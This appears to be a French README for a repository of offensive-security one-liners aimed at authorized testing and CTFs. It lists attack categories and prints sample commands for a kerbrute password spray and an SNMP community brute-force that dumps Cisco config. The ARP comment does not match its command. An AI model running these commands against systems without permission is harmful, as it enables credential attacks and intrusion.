
110 one-liners de sécurité offensive pour des tests autorisés et des CTF, regroupés par catégorie et par étape de la kill chain.

Jean Miélot à son bureau. Domaine public.
Un carnet de 110 one-liners de sécurité offensive pour les tests autorisés, les CTF, le bug bounty et la recherche en laboratoire. Organisé en un seul carnet markdown comportant 12 sections. Chaque entrée est une commande complète ou un pipeline compact, pas un simple squelette.
Voir offensive-one-liners.md pour le carnet complet.
La plupart des listes de one-liners ne sont qu'un amas de commandes nmap et rockyou toutes faites qui s'arrêtent au strict minimum. Ce carnet est l'inverse : de vraies chaînes d'attaque, des outils modernes et des opérateurs qui font un travail utile au-delà du chemin évident. Un seul fichier, prêt à copier-coller, organisé pour que vous puissiez trouver la bonne commande sous pression.
| Section | Ce qu'elle couvre |
|---|---|
| 1. Reconnaissance et énumération | Découverte d'hôtes, énumération ARP, force brute DNS, SNMP |
| 2. AD et Kerberos | AS-REP roast, Kerberoast, DCSync, golden ticket |
| 3. SMB et mouvement latéral | PTT, pass-the-hash, mots de passe GPP, EternalBlue |
| 4. Exploitation Web et API | SQLi, NoSQLi, SSTI, request smuggling, GraphQL |
| 5. SSRF, Cloud et métadonnées | Métadonnées AWS/GCP/ECS, k8s, smuggling de vhost interne |
| 6. Attaques sur les identifiants et pulvérisation | Pulvérisation de mots de passe, énumération d'utilisateurs |
| 7. Reverse shells et tunnels | TLS socat, chisel, ligolo-ng, frp |
| 8. Élévation de privilèges | Vecteurs PE Linux + Windows |
| 9. Persistance | Abonnement aux événements WMI, LD_PRELOAD, clés Run |
| 10. Évasion de conteneurs et du cloud | socket docker, cgroup release_agent, nsenter |
| 11. Pivotement et proxy | Socks, proxychains, redirections de ports |
| 12. Multiplicateurs de force divers | Gains de temps et multiplicateurs de force |
git clone [email protected]:WattoCyber/offensive-one-liners.git
cd offensive-one-liners
# open the notebook, jump to a section
less offensive-one-liners.md
# or grep for a tool you already have
grep -n "kerbrute" offensive-one-liners.md
Aucune installation. Tout se copie-colle dans votre machine cible. Les espaces réservés (TGT, LHOST, LPORT, DOMAIN, USER, PASS) sont documentés dans le carnet ; les lignes [win] s'exécutent dans PowerShell/cmd, le reste suppose Kali avec l'outillage courant.
# 1. Host discovery via ARP (works when ICMP is filtered)
nmap -sn --script dns-brute TGT/24 | grep -E "report|dns-brute"
# 2. Kerbrute password spray against valid users, low-and-slow
kerbrute password -d DOMAIN.local users.txt passwords.txt -t 8 --dc TGT
# 3. SNMP community brute that dumps the running-config wart (Cisco)
for c in public private cisco com munity; do snmpwalk -v2c -c $c TGT 1.3.6.1.4.1.9.9.96.1.1 2>/dev/null && echo "SNMP OK: $c"; done
Ces one-liners sont destinés aux systèmes que vous possédez, aux systèmes explicitement autorisés, aux cibles de CTF/benchmark et aux environnements de laboratoire. Rien ici n'accorde d'autorisation. Vérifiez le périmètre de la cible avant d'exécuter.